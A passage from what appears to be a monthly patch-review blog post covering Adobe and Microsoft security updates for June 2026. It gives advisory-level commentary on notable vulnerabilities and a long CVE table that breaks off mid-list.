Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  